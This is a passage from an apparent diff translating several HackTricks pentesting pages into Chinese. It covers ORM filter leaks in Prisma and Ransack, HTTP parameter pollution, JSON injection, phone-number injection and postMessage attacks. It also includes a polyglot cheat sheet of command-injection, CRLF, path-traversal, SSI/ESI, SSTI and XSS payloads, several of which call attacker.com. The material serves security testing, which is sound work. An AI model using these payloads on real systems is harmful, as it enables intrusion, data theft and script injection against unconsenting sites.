createdBy: {
password: {
startsWith: "pas",
},
},
},
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
```
> [!CAUTION]
> Using operations like `startsWith` it's possible to leak information.&#x20;
- **Many-to-many relational filtering bypassing filtering:**&#x20;
> 使用像 `startsWith` 这样的操作可能会泄露信息。&#x20;
- **多对多关系过滤绕过过滤:**&#x20;
```javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
```
It's possible to leak not published articles by lopping back to the many-to-many relationships between `Category` -\[\*..\*]-> `Article`:
通过回溯 `Category` -\[\*..\*]-> `Article` 之间的多对多关系,可以泄露未发布的文章:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
It's also possible to leak all the users abusing some loop back many-to-many relationships:
也可以通过滥用某些循环回路的多对多关系来泄露所有用户:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
- **Error/Timed queries**: In the original post you can read an very extensive set of tests performed in order to find the optimal payload to leak information with a time based payload. This is:
- **错误/定时查询**:在原始帖子中,您可以阅读一系列非常广泛的测试,以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Where the `{CONTAINS_LIST}` is a list with 1000 strings to make sure the **response is delayed when the correct leak is found.**
`{CONTAINS_LIST}` 中是一个包含1000个字符串的列表以确保**在找到正确的泄漏时响应延迟。**
## **Ransack (Ruby)**
These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**
这些技巧在[**这篇文章中发现**](https://positive.security/blog/ransack-data-exfiltration)**。**
> [!TIP]
> **Note that Ransack 4.0.0.0 now enforce the use of explicit allow list for searchable attributes and associations.**
**Vulnerable example:**
> **请注意Ransack 4.0.0.0 现在强制使用可搜索属性和关联的显式允许列表。**
**脆弱示例:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Note how the query will be defined by the parameters sent by the attacker. It was possible to for example brute-force the reset token with:
注意查询将由攻击者发送的参数定义。例如,可以通过以下方式暴力破解重置令牌:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
通过暴力破解和潜在的关系,可以从数据库中泄露更多数据。
By brute-forcing and potentially relationships it was possible to leak more data from a database.
## References
## 参考文献
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,6 +1,6 @@
# Parameter Pollution | JSON Injection
# 参数污染 | JSON 注入
## Parameter Pollution
## 参数污染
{{#include ../banners/hacktricks-training.md}}
@ -8,209 +8,190 @@
{% embed url="https://websec.nl/" %}
## HTTP Parameter Pollution (HPP) Overview
## HTTP 参数污染 (HPP) 概述
HTTP Parameter Pollution (HPP) is a technique where attackers manipulate HTTP parameters to change the behavior of a web application in unintended ways. This manipulation is done by adding, modifying, or duplicating HTTP parameters. The effect of these manipulations is not directly visible to the user but can significantly alter the application's functionality on the server side, with observable impacts on the client side.
HTTP 参数污染 (HPP) 是一种技术,攻击者通过操纵 HTTP 参数以意想不到的方式改变 Web 应用程序的行为。这种操纵是通过添加、修改或重复 HTTP 参数来实现的。这些操纵的效果对用户并不直接可见,但可以显著改变应用程序在服务器端的功能,并在客户端产生可观察的影响。
### Example of HTTP Parameter Pollution (HPP)
### HTTP 参数污染 (HPP) 示例
A banking application transaction URL:
一个银行应用程序的交易 URL
- **Original URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
- **原始 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
By inserting an additional `from` parameter:
通过插入一个额外的 `from` 参数:
- **Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
- **操纵后的 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
The transaction may be incorrectly charged to `accountC` instead of `accountA`, showcasing the potential of HPP to manipulate transactions or other functionalities such as password resets, 2FA settings, or API key requests.
交易可能错误地计入 `accountC` 而不是 `accountA`,展示了 HPP 操纵交易或其他功能(如密码重置、双因素认证设置或 API 密钥请求)的潜力。
#### **Technology-Specific Parameter Parsing**
#### **特定技术的参数解析**
- The way parameters are parsed and prioritized depends on the underlying web technology, affecting how HPP can be exploited.
- Tools like [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help identify these technologies and their parsing behaviors.
- 参数的解析和优先级取决于底层 Web 技术,影响 HPP 的利用方式。
- 像 [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) 这样的工具有助于识别这些技术及其解析行为。
### PHP and HPP Exploitation
### PHP 和 HPP 利用
**OTP Manipulation Case:**
**一次性密码 (OTP) 操作案例:**
- **Context:** A login mechanism requiring a One-Time Password (OTP) was exploited.
- **Method:** By intercepting the OTP request using tools like Burp Suite, attackers duplicated the `email` parameter in the HTTP request.
- **Outcome:** The OTP, meant for the initial email, was instead sent to the second email address specified in the manipulated request. This flaw allowed unauthorized access by circumventing the intended security measure.
- **背景:** 一个需要一次性密码 (OTP) 的登录机制被利用。
- **方法:** 通过使用 Burp Suite 等工具拦截 OTP 请求,攻击者在 HTTP 请求中复制了 `email` 参数。
- **结果:** 本应发送到初始电子邮件的 OTP 被发送到操纵请求中指定的第二个电子邮件地址。这个缺陷允许通过绕过预期的安全措施获得未授权访问。
This scenario highlights a critical oversight in the application's backend, which processed the first `email` parameter for OTP generation but used the last for delivery.
这个场景突显了应用程序后端的一个关键疏忽,该后端处理第一个 `email` 参数以生成 OTP但使用最后一个参数进行发送。
**API Key Manipulation Case:**
**API 密钥操作案例:**
- **Scenario:** An application allows users to update their API key through a profile settings page.
- **Attack Vector:** An attacker discovers that by appending an additional `api_key` parameter to the POST request, they can manipulate the outcome of the API key update function.
- **Technique:** Utilizing a tool like Burp Suite, the attacker crafts a request that includes two `api_key` parameters: one legitimate and one malicious. The server, processing only the last occurrence, updates the API key to the attacker's provided value.
- **Result:** The attacker gains control over the victim's API functionality, potentially accessing or modifying private data unauthorizedly.
- **场景:** 一个应用程序允许用户通过个人资料设置页面更新他们的 API 密钥。
- **攻击向量:** 攻击者发现通过向 POST 请求附加一个额外的 `api_key` 参数,可以操纵 API 密钥更新功能的结果。
- **技术:** 利用像 Burp Suite 这样的工具,攻击者构造一个包含两个 `api_key` 参数的请求:一个合法的和一个恶意的。服务器只处理最后一个出现的参数,将 API 密钥更新为攻击者提供的值。
- **结果:** 攻击者控制了受害者的 API 功能,可能未经授权访问或修改私有数据。
This example further underscores the necessity for secure parameter handling, especially in features as critical as API key management.
这个例子进一步强调了安全参数处理的必要性,特别是在像 API 密钥管理这样关键的功能中。
### Parameter Parsing: Flask vs. PHP
### 参数解析Flask 与 PHP
The way web technologies handle duplicate HTTP parameters varies, affecting their susceptibility to HPP attacks:
Web 技术处理重复 HTTP 参数的方式各不相同,影响其对 HPP 攻击的易受攻击性:
- **Flask:** Adopts the first parameter value encountered, such as `a=1` in a query string `a=1&a=2`, prioritizing the initial instance over subsequent duplicates.
- **PHP (on Apache HTTP Server):** Contrarily, prioritizes the last parameter value, opting for `a=2` in the given example. This behavior can inadvertently facilitate HPP exploits by honoring the attacker's manipulated parameter over the original.
- **Flask:** 采用遇到的第一个参数值,例如在查询字符串 `a=1&a=2` 中优先考虑初始实例而非后续重复。
- **PHP (在 Apache HTTP 服务器上):** 相反,优先考虑最后一个参数值,在给定示例中选择 `a=2`。这种行为可能无意中通过优先考虑攻击者操纵的参数而促进 HPP 利用。
## Parameter pollution by technology
## 按技术的参数污染
There results were taken from [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
结果来自 [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
### PHP 8.3.11 AND Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
### PHP 8.3.11 Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
<figure><img src="../images/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
1. Ignore anything after %00 in the parameter name .
2. Handle name\[] as array .
3. \_GET not meaning GET Method .
4. Prefer the last parameter .
1. 忽略参数名称中的 %00 之后的内容。
2. 将 name\[] 视为数组。
3. \_GET 不代表 GET 方法。
4. 优先考虑最后一个参数。
### Ruby 3.3.5 and WEBrick 1.8.2
### Ruby 3.3.5 WEBrick 1.8.2
<figure><img src="../images/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
1. Uses the & and ; delimiters to split parameters .
2. Not Recognized name\[] .
3. Prefer the first parameter .
1. 使用 & 和 ; 分隔符来分割参数。
2. 不识别 name\[]。
3. 优先考虑第一个参数。
### Spring MVC 6.0.23 AND Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
### Spring MVC 6.0.23 Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
<figure><img src="../images/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping .
2. POST RequestMapping & PostMapping Recognized name\[] .
3. Prefer name if name AND name\[] existing .
4. Concatenate parameters e.g. first,last .
5. POST RequestMapping & PostMapping Recognized query parameter with Content-Type .
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping
2. POST RequestMapping & PostMapping 识别 name\[]。
3. 如果 name 和 name\[] 同时存在,优先考虑 name。
4. 连接参数,例如 first,last。
5. POST RequestMapping & PostMapping 识别带有 Content-Type 的查询参数。
### **NodeJS** 20.17.0 **AND** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
### **NodeJS** 20.17.0 **** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
1. Recognized name\[] .
2. Concatenate parameters e.g. first,last .
1. 识别 name\[]。
2. 连接参数,例如 first,last。
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the first parameter .
1. 不识别 name\[]。
2. 优先考虑第一个参数。
### Python 3.12.6 AND Werkzeug 3.0.4 AND Flask 3.0.3 <a href="#b853" id="b853"></a>
### Python 3.12.6 和 Werkzeug 3.0.4 和 Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the first parameter .
1. 不识别 name\[]。
2. 优先考虑第一个参数。
### Python 3.12.6 AND Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
### Python 3.12.6 Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the last parameter .
1. 不识别 name\[]。
2. 优先考虑最后一个参数。
### Python 3.12.6 AND Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
### Python 3.12.6 Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the last parameter .
1. 不识别 name\[]。
2. 优先考虑最后一个参数。
## JSON Injection
### Duplicate keys
## JSON 注入
### 重复键
```ini
obj = {"test": "user", "test": "admin"}
```
前端可能会相信第一个出现的键,而后端则使用第二个出现的键。
The front-end might believe the first ocurrence while the backend uses the second ocurrence of the key.
### Key Collision: Character Truncation and Comments
Certain characters aren't going to be correctly interpreted by the frontend but the backend will interpret them and use those keys, this could be useful to **bypass certain restrictions**:
### 键冲突:字符截断和注释
某些字符在前端可能无法被正确解析,但后端会解析它们并使用这些键,这可能有助于**绕过某些限制**
```json
{"test": 1, "test\[raw \x0d byte]": 2}
{"test": 1, "test\ud800": 2}
{"test": 1, "test"": 2}
{"test": 1, "te\st": 2}
```
注意在这些情况下,前端可能认为 `test == 1`,而后端则认为 `test == 2`
Note how in these cases the front end might think that `test == 1` and the backend will think that `test == 2`.
This can also by used to bypass value restrictions like:
这也可以用来绕过值限制,例如:
```json
{"role": "administrator\[raw \x0d byte]"}
{"role":"administrator\ud800"}
{"role": "administrator""}
{"role": "admini\strator"}
```
### **Using Comment Truncation**
### **使用注释截断**
```ini
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
```
在这里,我们将使用每个解析器的序列化器来查看其各自的输出。
Here we will use the serializer from each parser to view its respective output.
Serializer 1 (e.g., GoLang's GoJay library) will produce:
序列化器 1例如GoLang 的 GoJay 库)将产生:
- `description = "Duplicate with comments"`
- `test = 2`
- `extra = ""`
Serializer 2 (e.g., Java's JSON-iterator library) will produce:
序列化器 2例如Java 的 JSON-iterator 库)将产生:
- `description = "Duplicate with comments"`
- `extra = "/*"`
- `extra2 = "*/"`
- `test = 1`
Alternatively, straightforward use of comments can also be effective:
或者,直接使用注释也可以有效:
```ini
obj = {"description": "Comment support", "test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/}
```
Javas GSON library:
Java的GSON库
```json
{ "description": "Comment support", "test": 1, "extra": "a" }
```
Rubys simdjson library:
Ruby的simdjson库
```json
{ "description": "Comment support", "test": 2, "extra": "a", "extra2": "b" }
```
### **Inconsistent Precedence: Deserialization vs. Serialization**
### **不一致的优先级:反序列化与序列化**
```ini
obj = {"test": 1, "test": 2}
obj["test"] // 1
obj.toString() // {"test": 2}
```
### 浮点数和整数
### Float and Integer
The number
数字
```undefined
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
```
can be decoded to multiple representations, including:
可以解码为多种表示,包括:
```undefined
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9.999999999999999e95
@ -218,10 +199,9 @@ can be decoded to multiple representations, including:
0
9223372036854775807
```
可能会导致不一致
Which might create inconsistences
## References
## 参考文献
- [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
- [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
@ -233,4 +213,3 @@ Which might create inconsistences
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,20 +1,19 @@
# Phone Number Injections
# 电话号码注入
{{#include ../banners/hacktricks-training.md}}
It's possible to **add strings at the end the phone number** that could be used to exploit common injections (XSS, SQLi, SSRF...) or even to bypass protections:
可以在**电话号码的末尾添加字符串**这些字符串可能被用来利用常见的注入XSS、SQLi、SSRF...)或甚至绕过保护:
<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
<figure><img src="../images/image (941).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
**OTP Bypass / Bruteforce** would work like this:
**OTP 绕过 / 暴力破解** 的工作方式如下:
<figure><img src="../images/image (116).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
## References
## 参考
- [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,17 +1,16 @@
# Reflecting Techniques - PoCs and Polygloths CheatSheet
# 反射技术 - PoCs 和 Polygloths 备忘单
{{#include ../../banners/hacktricks-training.md}}
The goal of these PoCs and Polygloths is to give the tester a fast **summary** of vulnerabilities he may exploit if his **input is somehow being reflected in the response**.
这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**,以便他可以利用 **如果他的输入以某种方式反射在响应中** 的漏洞。
> [!WARNING]
> This **cheatsheet doesn't propose a comprehensive list of tests for each vulnerability**, just some basic ones. If you are looking for more comprehensive tests, access each vulnerability proposed.
> 这个 **备忘单并没有提供每个漏洞的全面测试列表**,只是一些基本的测试。如果您在寻找更全面的测试,请访问每个提议的漏洞。
> [!CAUTION]
> You **won't find Content-Type dependant injections like XXE**, as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections** here as even if some content might be reflected it depends heavily on the backend DB technology and structure.
## Polygloths list
> 您 **不会找到依赖于 Content-Type 的注入,如 XXE**,因为通常如果您发现发送 xml 数据的请求,您会自己尝试这些。您 **在这里也不会找到数据库注入**,因为即使某些内容可能被反射,它也在很大程度上依赖于后端数据库技术和结构。
## Polygloths 列表
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -51,26 +50,20 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
## [客户端模板注入](../client-side-template-injection-csti.md)
## [Client Side Template Injection](../client-side-template-injection-csti.md)
### Basic Tests
### 基本测试
```
{{7*7}}
[7*7]
```
### Polygloths
### 多语言者
```bash
{{7*7}}[7*7]
```
## [命令注入](../command-injection.md)
## [Command Injection](../command-injection.md)
### Basic Tests
### 基本测试
```bash
;ls
||ls;
@ -81,37 +74,29 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
`ls`
$(ls)
```
### Polygloths
### 多语言者
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
## [CRLF](../crlf-0d-0a.md)
### Basic Tests
### 基本测试
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## 悬挂标记
## Dangling Markup
### Basic Tests
### 基本测试
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [文件包含/路径遍历](../file-inclusion/)
## [File Inclusion/Path Traversal](../file-inclusion/)
### Basic Tests
### 基本测试
```bash
/etc/passwd
../../../../../../etc/hosts
@ -124,11 +109,9 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [开放重定向](../open-redirect.md) / [服务器端请求伪造](../ssrf-server-side-request-forgery/)
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
### Basic Tests
### 基本测试
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
@ -136,42 +119,34 @@ https://google.com
//google.com
javascript:alert(1)
```
## [ReDoS](../regular-expression-denial-of-service-redos.md)
### Basic Tests
### 基本测试
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
## [服务器端包含/边缘端包含](../server-side-inclusion-edge-side-inclusion-injection.md)
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
### Basic Tests
### 基本测试
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polygloths
### 多语言者
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [服务器端请求伪造](../ssrf-server-side-request-forgery/)
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
可以在这里使用与开放重定向相同的测试。
The same tests used for Open Redirect can be used here.
## [Server Side Template Injection](../ssti-server-side-template-injection/)
### Basic Tests
## [服务器端模板注入](../ssti-server-side-template-injection/)
### 基本测试
```markup
${{<%[%'"}}%\
{{7*7}}
@ -180,40 +155,30 @@ ${7*7}
${{7*7}}
#{7*7}
```
### Polygloths
### 多语言者
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [XSLT 服务器端注入](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Basic Tests
### 基本测试
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polygloths
### 多语言者
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### Basic Tests
### 基本测试
```markup
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polygloths
### 多语言者
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
@ -241,6 +206,4 @@ javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Web Vulns List
{{#include ../../banners/hacktricks-training.md}}
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -41,6 +40,4 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
# PostMessage Vulnerabilities
# PostMessage 漏洞
## PostMessage Vulnerabilities
## PostMessage 漏洞
{{#include ../../banners/hacktricks-training.md}}
## Send **PostMessage**
**PostMessage** uses the following function to send a message:
## 发送 **PostMessage**
**PostMessage** 使用以下函数发送消息:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
@ -33,208 +32,196 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
注意,**targetOrigin** 可以是 '\*' 或像 _https://company.com_ 这样的 URL。\
**第二种情况** 中,**消息只能发送到该域**(即使窗口对象的来源不同)。\
如果使用 **通配符****消息可以发送到任何域**,并将发送到窗口对象的来源。
Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._\
In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\
If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object.
### Attacking iframe & wildcard in **targetOrigin**
As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\
Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.
### 攻击 iframe 和 **targetOrigin** 中的通配符
正如在 [**这份报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) 中所解释的,如果你发现一个可以被 **iframed** 的页面(没有 `X-Frame-Header` 保护)并且该页面通过 **postMessage** 使用 **通配符** (\*) 发送 **敏感** 消息,你可以 **修改** **iframe****来源** 并将 **敏感** 消息泄露到你控制的域。\
请注意,如果页面可以被 iframed**targetOrigin****设置为一个 URL 而不是通配符**,这个 **技巧将不起作用**
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## addEventListener 利用
## addEventListener exploitation
**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
A code similar to the following one will be used:
**`addEventListener`** 是 JS 用于声明 **期望 `postMessages`** 的函数。\
将使用类似以下的代码:
```javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
// ...
},
false
)
```
注意在这种情况下,代码的**第一件事**是**检查来源**。这非常**重要**,特别是如果页面将对接收到的信息进行**任何敏感**操作(例如更改密码)。**如果不检查来源,攻击者可以让受害者向这些端点发送任意数据**并更改受害者的密码(在这个例子中)。
